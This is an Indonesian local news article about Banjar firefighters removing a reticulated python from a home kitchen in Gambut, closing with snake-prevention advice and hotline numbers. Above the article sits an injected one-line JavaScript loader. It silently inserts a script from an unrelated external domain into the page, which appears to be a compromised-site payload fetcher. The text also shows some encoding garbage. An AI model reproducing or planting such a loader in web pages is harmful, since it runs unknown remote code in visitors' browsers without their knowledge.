(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ular Piton Masuk Dapur Warga Gambut, Jangan Ragu Panggil Damkar!

KANALKALIMANTAN.COM, MARTAPURA – Petugas Dinas Pemadam Kebakaran dan Penyelamatan (DPKP), Kabupaten Banjar kembali menerima laporan ular yang masuk ke permukiman penduduk, Sabtu (28/5/2022) malam.

Kali ini ular piton yang masuk ke dapur rumah seorang warga di jalan A Yani Km 14, Gang Sejiran RT 09 RW 3, Kelurahan Gambut Barat, Kecamatan Gambut, Kabupaten Banjar.

Ular piton jenis sanca kembang atau sanca batik tersebut, pertama kali diketahui oleh pemilik rumah Rahmadi. Rahmadi yang terganggu akhirnya meminta pertolongan petugas DPKP Banjar untuk mengevakuasi ular tersebut.

Atas laporan tersebut Kepala DPKP Kabupaten Banjar, Rahmat Kartolo mengerahkan dua petugas Tim Animal Rescue DPKP Sektor Gambut, dipimpin Hazmi langsung menuju ke lokasi dan melakukan evakuasi.

â€œKita kirim dua orang petugas ke lapangan. Kemudian di lokasi didapati ular tersebut merupakan keluarga dari piton yaitu ular sanca kembang,” ujar Rahmat Kartolo melalui Kasi Sarpras, Informasi dan Pengolahan Data DPKP Banjar.

Kasi Sarpras, Informasi dan Pengolahan Data DPKP Banjar, Muhammad Safwan menjelaskan, evakuasi reptil dengan ukuran tubuh terpanjang dari reptil lain ini sempat menguras tenaga petugas Damkar. Karena pada saat di lokasi ular tersebut terlihat tengah berada di atas pintu dapur.

Evakuasi ular piton sanca kembang atau sanca batik oleh dua orang Tim Animal Rescue DPKP Sektor Gambut. Foto : dpkpbanjar Â

“Evakuasi ular dilakukan dengan menurunkan ular tersebut menggunakan alat penjepit,” ungkap Safwan.

Perlahan tapi pasti, keberadaan ular sanca kembang itu dapat dijangkau menggunakan alat penjepit dan kemudian diamankan untuk dilepasliarkan ke habitatnya.

“Akhirnya berselang 10 menit tim berhasil memastikan kondisi di lokasi sudah benar-benar aman,” lanjutnya.

Safwan mengimbau agar masyarakat tidak membiarkan tumpukan bahan bangunan, bekas sampah, atau membiarkan rumah kotor dan lembab. Pasalnya, hal itu akan mengundang ular masuk ke dalam rumah.

Bagi masyakarat Kabupaten Banjar, lanjut Safwan, yang membutuhkan pertolongan dan penyelamatan jangan ragu untuk ‘NgiDam’ atau Ngiyau Damkar (Panggil Damkar) dengan menghubungi nomor 0895-1020-6886/0857-5287-7887.

“Melalui Ngiyau Damkar (Panggil Damkar, red) tersebut, petugas DPKP Banjar selalu siap siaga memberikan pertolongan bagi warga yang membutuhkan bantuan untuk mengevakuasi hewan liar atau berbahaya,” tutur Safwan. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie